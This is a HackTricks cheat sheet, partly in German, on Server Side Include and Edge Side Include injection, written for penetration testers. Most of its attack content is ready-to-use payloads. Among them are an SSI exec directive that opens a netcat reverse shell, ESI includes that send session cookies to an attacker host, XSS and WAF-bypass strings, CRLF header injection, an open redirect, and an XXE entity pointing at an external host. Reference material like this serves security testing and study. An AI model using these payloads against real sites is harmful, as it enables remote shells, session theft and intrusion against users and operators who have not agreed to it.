Server Side Inclusion/Edge Side Inclusion Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Server Side Inclusion Grundinformationen

(Einführung aus Apache-Dokumentation)

SSI (Server Side Includes) sind Direktiven, die in HTML-Seiten platziert und auf dem Server ausgewertet werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, dynamisch generierte Inhalte zu einer bestehenden HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitstellen zu müssen. Zum Beispiel könnten Sie eine Direktive in eine bestehende HTML-Seite einfügen, wie:

<!--#echo var="DATE_LOCAL" -->

Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:

Dienstag, 15-Jan-2013 19:28:54 EST

Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.

Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit den Erweiterungen .shtml, .shtm oder .stm verwendet, aber das ist nicht der einzige Fall.

Ein typischer SSI-Ausdruck hat das folgende Format:

<!--#directive param="value" -->

Überprüfen

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Es gibt ein Problem mit Caching-Informationen oder dynamischen Anwendungen, da der Inhalt möglicherweise beim nächsten Abrufen des Inhalts variieren kann. Dafür wird ESI verwendet, um mit ESI-Tags den dynamischen Inhalt anzugeben, der generiert werden muss, bevor die Cache-Version gesendet wird. Wenn ein Angreifer in der Lage ist, ein ESI-Tag in den Cache-Inhalt einzufügen, könnte er in der Lage sein, willkürlichen Inhalt in das Dokument einzufügen, bevor es an die Benutzer gesendet wird.

ESI Detection

Die folgende Header in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:

Surrogate-Control: content="ESI/1.0"

Wenn Sie diesen Header nicht finden können, könnte der Server trotzdem ESI verwenden. Ein blinder Exploitationsansatz kann ebenfalls verwendet werden, da eine Anfrage beim Server des Angreifers ankommen sollte:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI-Ausnutzung

GoSecure erstellt eine Tabelle, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:

• Includes: Unterstützt die <esi:includes>-Direktive

• Vars: Unterstützt die <esi:vars>-Direktive. Nützlich zum Umgehen von XSS-Filtern

• Cookie: Dokumentencookies sind für die ESI-Engine zugänglich

• Upstream-Header erforderlich: Surrogatanwendungen verarbeiten ESI-Anweisungen nicht, es sei denn, die upstream-Anwendung stellt die Header bereit

• Host-Whitelist: In diesem Fall sind ESI-Includes nur von erlaubten Serverhosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht

Software	Includes	Vars	Cookies	Upstream-Header erforderlich	Host-Whitelist
Squid3	Ja	Ja	Ja	Ja	Nein
Varnish Cache	Ja	Nein	Nein	Ja	Ja
Fastly	Ja	Nein	Nein	Nein	Ja
Akamai ESI Testserver (ETS)	Ja	Ja	Ja	Nein	Nein
NodeJS esi	Ja	Ja	Ja	Nein	Nein
NodeJS nodesi	Ja	Nein	Nein	Nein	Optional

XSS

Die folgende ESI-Direktive lädt eine beliebige Datei in die Antwort des Servers

<esi:include src=http://attacker.com/xss.html>

Umgehung des Client-XSS-Schutzes

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Steal Cookie

• Fernzugriff auf Cookies stehlen

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Stehlen Sie das Cookie HTTP_ONLY mit XSS, indem Sie es in der Antwort reflektieren:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

Verwechseln Sie dies nicht mit einer "Local File Inclusion":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Das Folgende wird einen Location-Header zur Antwort hinzufügen

<!--esi $add_header('Location','http://attacker.com') -->

Header hinzufügen

• Header in erzwungenem Request hinzufügen

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Fügen Sie einen Header in die Antwort ein (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF im Add-Header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai-Debug

Dies sendet Debug-Informationen, die in der Antwort enthalten sind:

<esi:debug/>

ESI + XSLT = XXE

Durch die Angabe des Wertes xslt für den dca-Parameter ist es möglich, eXtensible Stylesheet Language Transformations (XSLT) basierte ESI einzuschließen. Die Einbeziehung bewirkt, dass der HTTP-Surrogate die XML- und XSLT-Dateien abruft, wobei letztere erstere filtert. Solche XML-Dateien sind für XML External Entity (XXE) Angriffe ausnutzbar, die es Angreifern ermöglichen, SSRF-Angriffe auszuführen. Die Nützlichkeit dieses Ansatzes ist jedoch begrenzt, da ESI bereits als SSRF-Vektor dient. Aufgrund der fehlenden Unterstützung in der zugrunde liegenden Xalan-Bibliothek werden externe DTDs nicht verarbeitet, was die Extraktion lokaler Dateien verhindert.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT-Datei:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT-Seite:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Referenzen

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

• https://academy.hackthebox.com/module/145/section/1304

• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Brute-Force-Erkennungsliste

Auto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.